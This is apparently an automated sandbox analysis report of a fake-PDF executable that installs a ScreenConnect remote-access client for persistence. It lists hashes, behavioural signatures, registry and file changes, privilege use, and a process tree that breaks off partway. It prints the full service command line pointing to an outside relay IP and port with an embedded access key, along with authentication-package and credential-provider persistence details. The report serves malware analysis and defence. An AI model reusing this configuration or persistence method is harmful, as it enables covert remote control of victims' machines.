Analysis
- max time kernel
149s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
30/09/2026, 12:22
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
202609PDF.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
20 signatures
150 seconds
Behavioral task
behavioral2
Sample
202609PDF.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
22 signatures
150 seconds
Behavioral task
behavioral3
Sample
g2m.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
2 signatures
150 seconds
Behavioral task
behavioral4
Sample
g2m.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
2 signatures
150 seconds
General
- Target 202609PDF.exe
- Size 31KB
- Sample260930-pjy3bsfa69
- SHA256 4dc4c0bdce7d711bd4160beebbfe67d64a65a5c083429cb222926d7bd095b353
- MD5 aa6abf41a80d736c27c168e834baf3c7
- SHA1 67a0d3fd95af5ad86d978054008c9f3c9e65c335
- SHA512 9e223027f21df20bbc2b4a5953beaf4059946e288579ea55280f4d0b69282eb9179864c7a5c696d759f06d5cf1ce5c59707a459a3542ca2afb4f3345ad2abd37
- SSDEEP 384:o8Kk/M8uEryzqEt7a9Oey+IFdP64VYaEwDtiBgxoxlnLr2Sf1R+CxXBhgBx4eMDP:oD4Jr+VWOV+csoHViBBnXRbIqeMDGe
- TLSH T1ECE24A97EFC86852D07646397966EAB20B37FF67260C0567B49D6202AF71383243351F
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (ea7ff6e7e83d87af)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (ea7ff6e7e83d87af)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=52.197.194.156&p=8041&s=a99bb5c0-7a0b-4cf9-901e-a850aa34ca9e&k=BgIAAACkAABSU0ExAAgAAAEAAQA1LPOcctjUYalPF4wDRv3p0t%2fMeIp3UfNieAXdYkWgwEikRvSxGilbbZkpDYtc0QQZqc9W8hRghzLZXRaRQ052wqvmiGuiGBkh%2fzWWXwU4Iqpm3qV6x7PGN3fq1jJlv0wMXgV7Msg0TZHxAWAWxu5OGB%2bxH63z3MENyIzZFbNLlmZNX4gCVVsOFQbkZ9YTIe9RGJs8WlUB5Nys7ScY5%2b0DPDYlaBhcidJThYjrVxhwjWifdsZYMkwKxtvtrfMTh9m4L8Y7ebcFDDYjDZ6E0EprsJKLym3fmkUj9o8VvvGJbMQmPxjajhRrCqNPM5bc3kIt4Hskv7Vw6u4erjhUGEe%2f&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAn3yWHD57Rki9HBosxyLzmwAAAAACAAAAAAAQZgAAAAEAACAAAABzrx0Z%2bIYbdOiVZVcefweWx4c3WeDEAIdIIr4cFzbcOwAAAAAOgAAAAAIAACAAAACiEizhWUKKpx8pc2zI%2b86cyDgbakYHEkIjQOkCTRAGwaAEAADka7R9Z3d5PsZnYH4H6DpaP4U2w0pnq1fZ88esfGMH9CREpsuD4cCpjv38GIweC8%2fSdMI5eytBqw6xpnsGtvMAHEvGF0Uw32C%2f0kBdYnQJC4WGtFsytPqS0cjJZ1%2bVx3WsFGuQqe%2b3asO9CwpWwQTaMSsyCs6Siw%2fTda81QtD4ROvEbxAKA9s16XN%2fjjQgMoXD8GtLul3Gq%2bUh4jHU%2bl2UkK9PElBSHnStlmDObkS%2f4XjhQ%2fm9h9ZbKqXjwqoDPxiqC9fzo1uDkEUY02iexUwmG9%2bWiDnY5PuNPq3mPGZxWDerP0a%2fW%2fyHTfdTIpvl9e9%2fPNYxCzIsLiEagmbvMq%2fmgVF%2btsv4qpzzvD49akHqt2SHqldEeoTbunnKWADGw8hU3iN%2bBNMpmg1aUsAtRE6gaka71M7OTSEshhMEs531N6nmshxPXLxrK3dKnAIKipN5r87HVY8S9iWlAD55sMAhVuh%2bl8AGbPY%2blpvCwD0PVdePO4czjyQql3nIFTy7W%2foZ5x9xLxWXKhyDNV1dctpc8b6h%2f621OkAFoyCwcIG3FGTcWpKYn6rrmEp%2bCAFu9xbPH1OkU5dcW8QasJyRz3dE5w9VpdsNpHQ7hb1Cqee80gYwqtInh2fyAVHG8tHVYlEmhUvWYk6a5cJHIJcxF5iaY13wF8BvNvxKHur3udsT4CDSG5ras%2b5XiEepTevRsa4LzlM%2fwS92%2f4WDDTGIfrWpEg2XcTIXZk15sfkMNjNXryCiac9zbwaLbqtYH8szKEb%2bONWcEnxRBuLaJpVQBTngzY1fYeOjgy5DFz%2fvStzlWoZ47i2t5M5%2bWxFr2V9ycFPptxUqlqDWRR468us3bEb2VOcnvETmvt2m6hZJQW0YFJqawLDTjrwIfGfd%2fYToAMz8Lx4AJEkqPzJjRy%2bfSmLYFb7Q58wu54OjGxMBdDiB%2bunvI4aopyAWUgOJjsYxHGGSLbbE1xyttXq%2bKYnewbq0oen3lbWaOIPBnHXbW6JZq482N7%2fgiTSRZ71NgTE8a%2f7UHobXV1I23OEMgo%2bKmkYGcW1W2%2fnrN1q7mjljj1pq%2fLGxiee6%2fbf4ZMK4aMu%2fiMaYoi%2bhw2cB1hfPSsti3y1qrK6wz0BSgcm9R23KrAWb%2bxEPm0tRimedY1qZubj91I0HSXbTx2E%2bHArzLAHboJHgbDUeib1gFIN7vVMX58r01izyB1JXCcwFkmaVjVzzLj%2fAq%2fArqm6WtyVulT1gQC7rYoYJ5sCzVbm5BWVJnGKfZ9S6O7FFQ838xNgn5WQJWzr0i5F%2fjF73Nm8pUoJSqQpspxO14JsRblPX%2b0g5%2bzqzgfimDw4X9Qn%2bTancUwfNDMlW%2f5gI%2fAvGOzwEMlvzt%2f%2bArQAJNBwAMlMhFyPlt%2bRCLkK0swKqtT4m3jymGMZxnbvDy6ucPRoAhVUdu8%2bJfpg0Jt%2fJZaD6mpW5ygTqpNd1rDy8Q%2b6PurltY4EWwGtVg1O7jdVfLjWx%2bFgqiC6V%2fAlKOlIMngEcWu0S8Ftge7%2bbrrgASwYKSb11gvXVooIouhQPHt4i7ITzXy4QMtvBrQhTrV75Fay4K5upgWTv29YAckAAAABR1IUFlrLKHVn%2fFv%2f1G1gDUcTEnAzEse8uqSQkr74Ng0BWf1A21rY4TeU7KG0arKjOiejjwXF8HfKVUxn3f6Et\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 2 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral1/files/0x0007000000024322-122.dat revoked_cert_connectwise behavioral1/memory/5024-123-0x0000000004180000-0x0000000004255000-memory.dmp revoked_cert_connectwise -
pid Process 1708 powershell.exe 1708 powershell.exe - Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Z: msiexec.exe \??\F:\ msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe \??\F:\ powershell.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\E: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800650061003700660066003600650037006500380033006400380037006100660029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (ea7ff6e7e83d87af)\d54zk30h.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (ea7ff6e7e83d87af)\d54zk30h.newcfg ScreenConnect.ClientService.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log ScreenConnect.WindowsClient.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Drops file in Program Files directory 19 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\Client.Override.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\system.config msiexec.exe - Drops file in Windows directory 22 IoCs
description ioc Process File created C:\Windows\Installer\wix{519AC513-DFBC-2AEA-205C-5D9EDCC29034}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Installer\e58e8d4.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIEA6B.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIEA6B.tmp-\ScreenConnect.Windows.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIF21E.tmp msiexec.exe File created C:\Windows\Installer\e58e8d8.msi msiexec.exe File created C:\Windows\Installer\{519AC513-DFBC-2AEA-205C-5D9EDCC29034}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\{519AC513-DFBC-2AEA-205C-5D9EDCC29034}\DefaultIcon msiexec.exe File created C:\Windows\Installer\e58e8d4.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIEA6B.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIEA6B.tmp-\ScreenConnect.Core.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIEA6B.tmp-\Microsoft.Deployment.Compression.Cab.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIEFEA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIEA6B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIEA6B.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{519AC513-DFBC-2AEA-205C-5D9EDCC29034} msiexec.exe File opened for modification C:\Windows\Installer\MSIEA6B.tmp-\Microsoft.Deployment.Compression.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIEA6B.tmp-\CustomAction.config rundll32.exe File opened for modification C:\Windows\Installer\MSIF078.tmp msiexec.exe - Executes dropped EXE 3 IoCs
pid Process 5024 ScreenConnect.ClientService.exe 3376 ScreenConnect.WindowsClient.exe 3040 ScreenConnect.WindowsClient.exe - Loads dropped DLL 22 IoCs
pid Process 2948 MsiExec.exe 1456 rundll32.exe 1456 rundll32.exe 1456 rundll32.exe 1456 rundll32.exe 1456 rundll32.exe 1456 rundll32.exe 1456 rundll32.exe 1456 rundll32.exe 1456 rundll32.exe 2948 MsiExec.exe 1468 MsiExec.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.ClientService.exe - System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 202609PDF.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DllHost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 13 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe - Modifies registry class 37 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\sc-ea7ff6e7e83d87af\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-ea7ff6e7e83d87af\shell msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-ea7ff6e7e83d87af\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\315CA915CBFDAEA202C5D5E9CD2C0943 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\166A01010D16AAC8AEF76F7E8ED378FA\315CA915CBFDAEA202C5D5E9CD2C0943 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\SourceList msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-F711-6297A98BD69D} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\PackageCode = "315CA915CBFDAEA202C5D5E9CD2C0943" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-F711-6297A98BD69D}\InprocServer32 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\SourceList\Net\1 = "C:\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-ea7ff6e7e83d87af msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-ea7ff6e7e83d87af msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-F711-6297A98BD69D}\ = "ScreenConnect Client (ea7ff6e7e83d87af) Credential Provider" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\ProductName = "ScreenConnect Client (ea7ff6e7e83d87af)" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\166A01010D16AAC8AEF76F7E8ED378FA msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-ea7ff6e7e83d87af\URL Protocol msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-ea7ff6e7e83d87af\UseOriginalUrlEncoding = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-F711-6297A98BD69D}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (ea7ff6e7e83d87af)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-F711-6297A98BD69D}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-ea7ff6e7e83d87af\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\315CA915CBFDAEA202C5D5E9CD2C0943\Full msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\SourceList\Net msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\Version = "419627016" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\SourceList\LastUsedSource = "n;1;C:\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-ea7ff6e7e83d87af\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (ea7ff6e7e83d87af)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\ProductIcon = "C:\\Windows\\Installer\\{519AC513-DFBC-2AEA-205C-5D9EDCC29034}\\DefaultIcon" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\315CA915CBFDAEA202C5D5E9CD2C0943\Clients = 3a0000000000 msiexec.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 1708 powershell.exe 1708 powershell.exe 3828 msiexec.exe 3828 msiexec.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe 5024 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1708 powershell.exe Token: SeShutdownPrivilege 3220 msiexec.exe Token: SeIncreaseQuotaPrivilege 3220 msiexec.exe Token: SeSecurityPrivilege 3828 msiexec.exe Token: SeCreateTokenPrivilege 3220 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3220 msiexec.exe Token: SeLockMemoryPrivilege 3220 msiexec.exe Token: SeIncreaseQuotaPrivilege 3220 msiexec.exe Token: SeMachineAccountPrivilege 3220 msiexec.exe Token: SeTcbPrivilege 3220 msiexec.exe Token: SeSecurityPrivilege 3220 msiexec.exe Token: SeTakeOwnershipPrivilege 3220 msiexec.exe Token: SeLoadDriverPrivilege 3220 msiexec.exe Token: SeSystemProfilePrivilege 3220 msiexec.exe Token: SeSystemtimePrivilege 3220 msiexec.exe Token: SeProfSingleProcessPrivilege 3220 msiexec.exe Token: SeIncBasePriorityPrivilege 3220 msiexec.exe Token: SeCreatePagefilePrivilege 3220 msiexec.exe Token: SeCreatePermanentPrivilege 3220 msiexec.exe Token: SeBackupPrivilege 3220 msiexec.exe Token: SeRestorePrivilege 3220 msiexec.exe Token: SeShutdownPrivilege 3220 msiexec.exe Token: SeDebugPrivilege 3220 msiexec.exe Token: SeAuditPrivilege 3220 msiexec.exe Token: SeSystemEnvironmentPrivilege 3220 msiexec.exe Token: SeChangeNotifyPrivilege 3220 msiexec.exe Token: SeRemoteShutdownPrivilege 3220 msiexec.exe Token: SeUndockPrivilege 3220 msiexec.exe Token: SeSyncAgentPrivilege 3220 msiexec.exe Token: SeEnableDelegationPrivilege 3220 msiexec.exe Token: SeManageVolumePrivilege 3220 msiexec.exe Token: SeImpersonatePrivilege 3220 msiexec.exe Token: SeCreateGlobalPrivilege 3220 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeShutdownPrivilege 1468 MsiExec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe Token: SeRestorePrivilege 3828 msiexec.exe Token: SeTakeOwnershipPrivilege 3828 msiexec.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2636 wrote to memory of 1708 2636 DllHost.exe 97 PID 1708 wrote to memory of 452 1708 powershell.exe 101 PID 1708 wrote to memory of 3220 1708 powershell.exe 102 PID 3828 wrote to memory of 2948 3828 msiexec.exe 105 PID 2948 wrote to memory of 1456 2948 MsiExec.exe 106 PID 3828 wrote to memory of 1468 3828 msiexec.exe 107 PID 5024 wrote to memory of 3376 5024 ScreenConnect.ClientService.exe 110 PID 5024 wrote to memory of 3040 5024 ScreenConnect.ClientService.exe 112
Processes
-
C:\Users\Admin\AppData\Local\Temp\202609PDF.exe"C:\Users\Admin\AppData\Local\Temp\202609PDF.exe"1⤵
- System Location Discovery: System Language Discovery
PID:3252
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2636 -
